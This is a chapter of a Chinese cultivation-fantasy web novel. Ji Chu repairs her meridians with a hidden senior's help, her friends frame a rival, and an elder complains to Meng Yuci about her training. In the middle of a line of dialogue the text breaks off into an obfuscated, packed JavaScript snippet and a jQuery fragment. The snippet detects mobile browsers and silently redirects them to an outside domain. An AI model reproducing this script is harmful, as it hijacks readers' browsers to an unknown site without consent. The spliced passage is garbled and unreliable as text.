为什么不去问师兄?
纪楚想也不想就回答:
“当然是觉得前辈更亲切啦。”
一阵沉默。
纪楚以为前辈不相信,解释道:
“前辈虽然不爱说话,但我能感觉到,您是真心想帮我的,修复经脉过程繁琐,可前辈回回都来,在我心里,您就是我在宗门里最亲近的人。”
孟喻辞目光沉沉地看着她:
“是吗?”
纪楚点头:“当然了。”
想到前世她被沈恪抛弃、又被师兄捅死的结局,纪楚就忍不住叹气:
“要是您是我师父……”
说着她忽然意识到这样说有问题,现在她名义上的师父是掌门,她何德何能,敢嫌弃掌门呢?
于是纪楚立马改口:
“——要是前辈您是我师兄就好了。”
说完,她像是想起了什么高兴的事情,眼睛都亮了起来:
“前辈您修为这么高,不会真是我哪个师兄或者师叔师祖之类的大能吧?”
看纪楚这一脸激动的表情,似乎如果他真是什么“师兄师叔师祖”之类的,她就会立马倒戈,转投别人门下了。
孟喻辞:“……呵。”
他头一回感觉到被人气笑了是什么感觉。
无法无天到这种地步,连师尊都挑上了。
指尖浮起一缕剑气,他暗中思忖着,是否要替师尊教训一下这个不大听话的师妹。
纪楚对自己快要大难临头的境况一无所知,还在继续自言自语:
“其实师兄对我也挺好的,他这人总是责任感很强,摊上我这样的师妹肯定很糟心,又碍于身份没法把我赶走……加上我又傻又笨,总是惹他生气……”
纪楚越说越郁闷,感觉自己上辈子简直是师兄的拖油瓶。
怪不得前世师兄能狠心把她除了。
孟喻辞指尖萦绕的剑气在听到她的话后悉数散去。
赶走倒不至于。
人确实傻乎乎的,不过也并非不可雕的朽木,只是过去无人用心雕琢,成长得太过肆意了些。
求道之路漫漫,修士间亦不乏人心叵测,她这性子,太容易吃亏。
纪楚说完又托着腮帮子叹气,小声嘟囔着:
“唉,算了,都……了,还是修复经脉吧。”
她很快投入到面前的经脉网中。
孟喻辞便也不再说话,安静地守着她,时不时给出一些恰到好处的提点。
到后面的时候,纪楚自身灵力运转已经进入了章程,他便不再说话,只默默看着。
待纪楚经脉修复完备,已经过去整整两天了。
她从未有过如此长时间的入定修行,此刻心里充满了自豪和得意,心满意足地看着面前顺畅流通的经脉。
正准备结束入定时,忽然发现神秘前辈的神识还在这里。
“前辈,您一直陪着我啊!”
纪楚很是欣喜:
“前辈您真好!”
看着她高兴的样子,孟喻辞忽然就想起来那天,他以师兄的身份想要帮她修复经脉,结果她竟一直心绪不安,连入定都做不到。
最后还说,和他不熟。
在他跟前不自在。
呵。
现在倒开心有人陪了。
纵使知道纪楚感谢的人还是自己,但前后两种截然不同的态度,甚至是针对同一件事,未免让他觉得格外不爽。
孟喻辞垂眸,听见纪楚问:
“前辈,你以后还来吗?”
孟喻辞倏的抬眼,看向纪楚的目光有些高深莫测:
“你希望我来?”
纪楚忙不迭点头:
“前辈,我舍不得你。如果你没空来,我有困惑的话,可不可以去找你?”
她一脸期待,神态中是毫不掩饰的依赖。
放着他这个师兄不问,却对一个不知姓甚名谁、目的为何的人轻易交托信任,还说什么“舍不得”,以后再见?
他真不知道纪楚脑子里在想什么。
那股子想教训她的念头又冒了出来。
孟喻辞将心底这股隐约的不快归结为“师尊威严不容侵犯,岂能由弟子挑挑拣拣”,眼风似剑刃,在纪楚脸上来回刮过。
良久,冷冷吐出一句:
“不可以。”
便见纪楚失望地“啊”了一声,整个人顿时变成了一只讨吃的未果的猫,连耳朵都耷拉着。
孟喻辞反而觉得心里舒坦不少。
“那好吧。”
纪楚也没有纠缠的意思,只道:
“那……谢谢前辈这些日子的帮助,我会永远感激的。”
孟喻辞没回答,直接收回了神识。
纪楚结束入定,立即看了看四周,周围没有留下任何修士的踪迹。
前辈来的突然,走的更是干脆。
简直像是老天专门派来帮她修复经脉的。
她坐在原地放空了一会儿,感受着自己经脉和丹田中充沛的灵力,意识到前世阻碍自己修行的最大问题已经解决了。
比起前世经脉堵塞不得进益的情况,现在的她简直强的可怕。
纪楚自信心爆棚,感觉自己这一回定然能逆天改命,最不济也能把沈恪和薛羡尘打得满地找牙。
于是她迫不及待拿出传音玉,对许盈说:
“我经脉补好了!灵气充沛!”
许盈立即回道:
“是喜事啊!晚上约饭!”
当晚,四人围坐在蒋成旭院子里。
许盈三人脸上都挂了彩,捧着碗一味埋头苦吃。
就连陈梧都没有以前那么拘谨和真诚了,冲纪楚打了招呼后,便开始朝自己嘴里疯狂扒米饭,一副受足了虐待饿了好些天的样子。
正准备炫耀自己超强的纪楚见到这一幕,顿时忘了自己要说的话:
“你们这是怎么了?谁打你们了?”
许盈放下碗,叹气,欲言又止,摇头不语。
纪楚看得着急:“到底发生了什么?”
蒋成旭按了下嘴角的伤口,“嘶”地一声,问她:
“纪楚,你修复经脉用了几天?”
纪楚:“两天啊。怎么了?”
“两天!”
许盈抬起头,重复了一遍,愤愤道:
“整整两天,我们被秘宝阁里的宝物殴打了整整两天!”
纪楚:“……天呐。”
听到许盈的话,陈梧重重点头。
他修为最低,被打的最惨,额头上肿起个大包,一只眼眶都青了。
就连蒋成旭这样抗打击能力极强的,鼻梁上都带着伤,一动就呲牙咧嘴。
纪楚:“……天呐。”
大家真是太宠她了,竟默默抗下了秘宝阁的所有。
她“敬仰”地看着鼻青脸肿的几个小伙伴,将涮锅朝他们三个的方向推了推:
“快多吃点吧。”
三个人也不客气,埋头就是一顿狂吃。
吃着吃着,许盈忍不住了,放下碗一拍大腿:
“思来想去都是孔回端的错!气死我了!”
蒋成旭也吃不下去了,放下碗,两手撑着桌子做沉思状。
许盈站起来撩起袖子道:
“干脆现在就去揍他一顿……”
陈梧“啊”了一声,下意识看向纪楚。
纪楚已经站起来开始挽袖子了。
陈梧在打扫秘宝阁的时候,通过两人拌嘴,了解了“孔回端追求许盈被拒”、“孔回端讽刺许盈被揍”、“孔回端惹来许盈和蒋成旭混合双打”等一系列故事,对孔回端的厌恶已经到达了巅峰。
加上被秘宝殴打的这两天,他心里的那些“规矩”、“道德”极速消失,撞着胆子道:
“加,加我一个!”
纪楚很是纳罕地看了他一眼:
“你也去?”
陈梧急忙站起来,起身太急,凳子发出刺耳的摩擦声,一副豁出命也要加入这个“邪恶组织”的架势:
“我也去!”
蒋成旭却伸手,一左一右把纪楚和许盈二人拉下来:
“两位女中豪杰,打打杀杀太粗鲁啦~”
许盈怒:
“你干什么拦我!”
纪楚道:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16066056|178877||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“不打他我心里难安!”
陈梧点头:“虽然打人可能还会被罚,但是……我也想打他!”
“不是要拦你们。”
蒋成旭按在桌边的五指轮流敲了一遍桌面,笑得很是邪恶:
“我想到个好主意。”
*
一天后。
李京墨看着面前一大箱的鱼啧啧称奇,像是在赞叹宗门里还有这么大胆的人物:
“孔回端,你好大的胆子啊,两百年才能长成一条的般般鱼,你敢一口气偷十条!”
孔回端大惊,不知道自己私下购买的杂书怎么变成了一箱鱼。
但李京墨懒得听他解释,更何况他也解释不清偷偷买杂书的渠道。
他扬手在本本上一划,无情扣掉了孔回端一千分,还阴阳怪气道:
“幸好鱼还活着,若是烤熟了,又得多扣五百分呢。”
气的孔回端鼻子都要歪过去。
*
纪楚几人听到消息后哈哈大笑,很快又投入到各自的修行中去。
蒋成旭快要升阶,许盈也不甘落后,修行比之前勤奋许多。
陈梧惦记着“葛二”的事,一有空便去搜寻聚魂的方法。
纪楚也十分忙碌。
白天上完剑术课,先去青极峰喂兔子,回去还要研究价值“一千分”的砖画,只有和许盈他们碰头约饭的时候才能见面。
自从她拉着薛羡尘上了一次生死台,又赢得格外出人意料,宗门里对她指指点点的声音少了不少。
徐长老对她的态度也改善许多,时不时看她比剑的模样,还会满意地点点头。
纪楚为此很是开心,对剑道的热爱日益增加。
只是问仙大会和“金色眼睛”的事情始终压在她心头,上课时还能强行集中注意力,一下课就跑得比兔子都快,又引得徐长老频频看着她的背影蹙眉。
日日如此,每当徐长老说完下课,刚想要叫住她说些什么的时候,人早就跑没影了。
一连多日,徐长老终于忍不住,找了个去主峰的机会,将状告到了孟喻辞那里。
“原想着她有些韧劲,是个习剑的好苗子,便想额外指点几句。没成想是个惫懒的,一刻钟都不肯多留。”
孟喻辞听得无言。
自纪楚经脉修复完好,他已有些日子没去看她。
但他不用看也知道,纪楚如此忙碌,定是为了“问仙大会”差的那九百多分,几乎将青极峰拿去喂兔子的红灵果包圆了。
听谈长老无意间提过,明务堂派来喂兔子的弟子喂的太勤,那些灵兔原本是少食谨慎的性子,有点风吹草动就会跑没影。
如今却个个被喂得膘肥体壮,被人赶着都跑不快。
他听过便听过了,心里也无甚波澜,更没去提醒纪楚的打算。
毕竟,一开始便是为着她砸破结界的事情才有了交集。
如今她经脉已修好,那些灵力也尽数被她吸纳,只消按部就班地修行,突破升阶指日可待。
他没什么可担心的。
因而听徐长老一通抱怨,孟喻辞面上也没什么反应,只道:
“她年纪还小,看什么都稀奇,让长老费心了。”
徐长老素来是个不会打圆场的板正人,听见他说这些没什么涵养的客套话,心里便有些着急:
“那沈恪是个糊涂的,掌门也忙着。你好歹是剑道第一,自己的师妹却连御剑飞行都会撞树,我若是你,哪里还坐得住?”
这话说的不甚客气,孟喻辞却丝毫不见情绪波动,平静反问他:
“那依长老所言,我该如何?”
徐长老挥袖负手:
“剑道无诀窍可言,不过一个练字。若是我徒弟,定叫她日日挥剑一万次,练不完不许睡觉吃饭!”
孟喻辞在脑海中想了想纪楚每日饿着肚子挥剑一万次的样子,指不定又会梗着脖子眼泪汪汪,心里还在盘算着“换个师兄”。
得亏是他,懒得同小孩子计较。
若是叫徐长老撞上了,只怕又要闹得不可开交。
孟喻辞于是道:
“明日上课,我去看看。”